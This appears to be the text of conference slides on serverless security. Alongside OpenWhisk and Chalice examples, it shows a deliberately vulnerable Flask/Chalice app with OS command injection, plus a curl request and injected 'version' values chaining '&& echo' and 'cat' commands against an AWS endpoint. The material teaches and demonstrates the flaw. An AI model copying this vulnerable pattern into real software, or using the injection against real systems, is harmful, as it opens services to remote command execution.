Serverless != Marketing Trend
InfoSec 👍 📰 & 📉📰
Your bad code is still bad
g0sh1t
broken-whisk
broken-chalice
Serverless Manifesto: https://www.youtube.com/watch?v=yCOgc3MRUrs
"After a $30K invoice in September, our AWS bill for the month of December is projected to be less than $4,000."
https://read.acloud.guru/how-going-serverless-helped-us-reduce-costs-by-70-255adb87b093
"Last and probably most significantly, the free Readability API was costing the company roughly $10,000 per month..."
"....Serving 39 Million Requests for $370/Month"
https://trackchanges.postlight.com/serving-39-million-requests-for-370-month-or-how-we-reduced-our-hosting-costs-by-two-orders-of-edc30a9a88cd
CVE's
CVE's
&
import (
"bytes"
// .....................
"os/exec"
"strings"
)
// Run string as os/exec command, use accordingly
// Special thanks to: https://github.com/wickett/lambhack
func Run(cmd string) string {
// ......................
args := append(commands[:0], commands[1:]...)
c := exec.Command(command, args...)
// ......................
return out.String()
}
IBM Cloud Functions (based on Apache OpenWhisk) is a Function-as-a-Service (FaaS) platform which executes functions in response to incoming events and costs nothing when not in use."
Apache OpenWhisk is a serverless, open source cloud platform that executes functions in response to events at any scale.
# Action
import sys
from os import popen
def main(dict):
out = str(popen("whoami").read())
return {"message":out}
# OUTPUT
{
"message": "root\n"
}
# Action
import sys
from os import popen
def main(dict):
address = dict["address"]
out = str(popen("cat /etc/*-release").read())
return {"message":out}
# OUTPUT
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debiannHOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
Chalice
# $ pip install chalice
# $ chalice new-project helloworld
# $ cd helloworld
# $ cat app.py
from chalice import Chalice
app = Chalice(app_name="helloworld")
@app.route("/")
def index():
return {"👋": "🌎"}
# $ chalice deploy
...
https://endpoint/dev
$ curl https://endpoint/api
{"👋": "🌎"}
A simple vulnerable Flask application.
def rp(command):
return popen(command).read()
################################################
# os command injection
@app.route('/lookup', methods = ['POST', 'GET'])
def lookup():
address = None
if request.method == 'POST':
address = request.form['address']
return """
<html>
<body>""" + "Result:\n<br>\n" + (rp("nslookup " + address).replace('\n', '\n<br>') if address else "") + """
<form action = "/lookup" method = "POST">
<p><h3>Enter address to lookup</h3></p>
<p><input type = 'text' name = 'address'/></p>
<p><input type = 'submit' value = 'Lookup'/></p>
</form>
</body>
</html>
"""
# Command Execution
@app.route('/trial-balloon-art', methods=['POST'])
def getTrialBalloonArt():
if request.method == 'POST':
version = app.current_request.json_body['version']
print("version equals: "+version)
sigsciBalloon = "https://dl.signalsciences.net/trial-balloon/{}/art".format(version)
out = rp("curl {}".format(sigsciBalloon))
return out
curl -i -s -k -X $'POST' \
-H $'Host: muz3lx8vbc.execute-api.us-west-1.amazonaws.com' \
-H $'Content-Type: application/json'\
--data-binary $'{\"version\":\"0.0.9\"}\x0d\x0a' \
$'https://muz3lx8vbc.execute-api.us-west-1.amazonaws.com/api/trial-balloon-art'
{"version":"0.0.9 && echo 'issaLASummitX' > /tmp/sprkyco.txt \
&& stat /tmp/sprkyco.txt"}
{"version":"0.0.9 && cat /tmp/sprkyco.txt"}